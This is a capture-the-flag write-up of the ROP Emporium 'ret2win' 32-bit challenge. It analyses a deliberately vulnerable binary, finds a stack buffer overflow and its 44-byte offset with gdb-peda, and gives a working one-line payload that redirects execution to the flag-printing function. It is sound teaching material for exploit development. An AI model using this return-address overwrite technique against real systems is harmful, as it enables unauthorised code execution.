Challenge 1 - Ret2Win

Rahn Stavar

Write-up:

`ret2win32` binary is a standard Intel 32-bit ELF.

```
$ file ret2win32
ret2win32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically
linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0,
BuildID[sha1]=e1596c11f85b3ed0881193fe40783e1da685b851, not stripped
```

`readelf` shows a couple of suspiciously named functions, being `pwnme` and `ret2win`:

```
$ readelf ret2win32 -Ws | grep FUNC
...
    36: 080485ad   127 FUNC    LOCAL  DEFAULT   14 pwnme
    37: 0804862c    41 FUNC    LOCAL  DEFAULT   14 ret2win
...
```

`checksec` shows `NX` bit is set for the binary and `PIE` is off:

```
$ checksec --file=ret2win32
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH
Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No
RUNPATH   72 Symbols        No    0               3               ret2win32
```

Opening this binary up in Ghidra shows `main` calls `pwnme`, which looks like:

```
void pwnme(void)
{
  undefined local_2c [40];
  memset(local_2c,0,0x20);
  puts(
      "For my first trick, I will attempt to fit 56 bytes of user input into 32
bytes of stack buffe r!"
      );
```

```
  puts("What could possibly go wrong?");
  puts(
      "You there, may I have your input please? And don\'t worry about null bytes,
we\'re using read ()!\n"
      );
  printf("> ");
  read(0,local_2c,0x38);
  puts("Thank you!");
  return;
}
```

And `ret2win` looks like:

```
void ret2win(void)
{
  puts("Well done! Here\'s your flag:");
  system("/bin/cat flag.txt");
  return;
}
```

So to win, I need to cause a buffer overflow in `pwnme` to change the return address to `ret2win`.

```
gdb-peda$ pattern create 100 pattern.txt
Writing pattern of 100 chars to filename "pattern.txt"
gdb-peda$ r < pattern.txt
Starting program: /home/kali/ROPemporium/Ex1/ret2win32 < pattern.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
ret2win by ROP Emporium
x86

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> Thank you!

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

[----------------------------------registers-----------------------------------]
EAX: 0x0b ('\x0b')
EBX: 0xf7e1dff4 --> 0x21dd8c
ECX: 0xf7e1f9b8 --> 0x0
EDX: 0x0
ESI: 0x8048660 (<__libc_csu_init>:      push   ebp)
EDI: 0xf7ffcba0 --> 0x0
EBP: 0x41304141 ('AA0A')
ESP: 0xffffcfa0 ("bAA1AAGA")
EIP: 0x41414641 ('AFAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
```

```
gdb-peda$ pattern offset AFAA
AFAA found at offset: 44
gdb-peda$
```

Using `gdb-peda`'s pattern functionality, I have found that the offset from the buffer to the functions return address is 44 bytes.
Now, I need the address of ret2win:

```
gdb-peda$ p ret2win
$1 = {<text variable, no debug info>} 0x804862c <ret2win>
```

So `0x0804862c` is the address of `ret2win`. I'll now use the gathered information to build a payload.

```
python2 -c 'print "\x00"*44 + "\x2c\x86\x04\x08"' > payload.txt
```

Now to throw the exploit with:

```
./ret2win32 < payload.txt
```

```
┌──(kali㉿kali)-[~/ROPemporium/Ex1]
└─$ python2 -c 'print "\x00"*44 + "\x2c\x86\x04\x08"' > payload.txt

┌──(kali㉿kali)-[~/ROPemporium/Ex1]
└─$ xxd payload.txt
00000000: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000010: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000020: 0000 0000 0000 0000 0000 0000 2c86 0408  ............,...
00000030: 0a                                       .

┌──(kali㉿kali)-[~/ROPemporium/Ex1]
└─$ ./ret2win32 < payload.txt
ret2win by ROP Emporium
x86

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}
zsh: segmentation fault  ./ret2win32 < payload.txt
```

As shown in the above picture, the exploit was successful, and the program executed the `ret2win` function which prints the "flag".